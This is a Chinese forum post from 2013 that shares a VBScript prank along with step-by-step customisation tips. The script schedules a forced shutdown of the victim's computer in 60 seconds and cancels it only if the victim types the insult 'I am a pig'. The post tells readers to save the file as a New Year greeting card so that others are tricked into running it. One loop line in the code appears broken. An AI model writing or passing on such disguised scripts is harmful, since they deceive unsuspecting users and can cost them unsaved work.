|
| | | vbe整人代码
本贴由: 中华游戏网 会员: 梦、一凡 发表于: 2013-01-29 09:03 共 7797人围观 9人回复
vbe编码整人关机，首先新建一个文本文档，复制以下代码到记事本，保存时保存成“新年贺卡.vbe”（这样就会诱引他们运行)
注：我分割线和他上面（下面）的字不用复制
==============================我分割线=================================
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c ""说我是猪，不说我是猪就60秒关你机，不信，试试···"" ", 0, True
Dim a
Do While (a "我是猪")
a = InputBox("说我是猪,就不关机，快撒，说 ""我是猪"" ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛"
Dim WSHshell
Set WSHshell = wscript.CreateObject("wscript.shell")
WSHshell.Run "cmd.exe /c shutdown -a", 0, True
MsgBox Chr(13) + Chr(13) + Chr(13) + "哈哈哈哈，一切皆有可能！"
==============================我分割线=================================
在他输入好我是猪后，有两个提示，第一个要更改，更改这一句中的“早说就行了嘛”引号不用复制，原句中引号不要动
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛"
更改第二个提示就修改引号里面的
MsgBox Chr(13) + Chr(13) + Chr(13) + "哈哈哈哈，一切皆有可能！"
修改关机时间就修改
WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c
这句中的60。（单位：秒）
修改他要打的字就修改
Do While (a "我是猪")
引号中的字
更改主窗口的提示语就更改
WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c ""说我是猪，不说我是猪就60秒关你机，不信，试试···"" ", 0, True
引号中的字
更改输入窗口的提示语就更改
a = InputBox("说我是猪,就不关机，快撒，说 ""我是猪"" ", "说不说", "不说", 8000, 7000)这一行中的
InputBox("说我是猪,就不关机，快撒，说 ""我是猪""
引号中的字
更改在文本框中原始有的字就修改
a = InputBox("说我是猪,就不关机，快撒，说 ""我是猪"" ", "说不说", "不说", 8000, 7000)这一行中的
"不说", 8000, 7000)
引号中的字
更改程序运行后在任务栏显示的字就修改
a = InputBox("说我是猪,就不关机，快撒，说 ""我是猪"" ", "说不说", "不说", 8000, 7000)这一行中的
"说不说",
引号里面的字
懒得更改的朋友就直接下在附件（他让你输我是猪）最后上传几个在下做的 新建 好压 7Z 压缩文件.7z (2 K) 下载次数:3
 
|
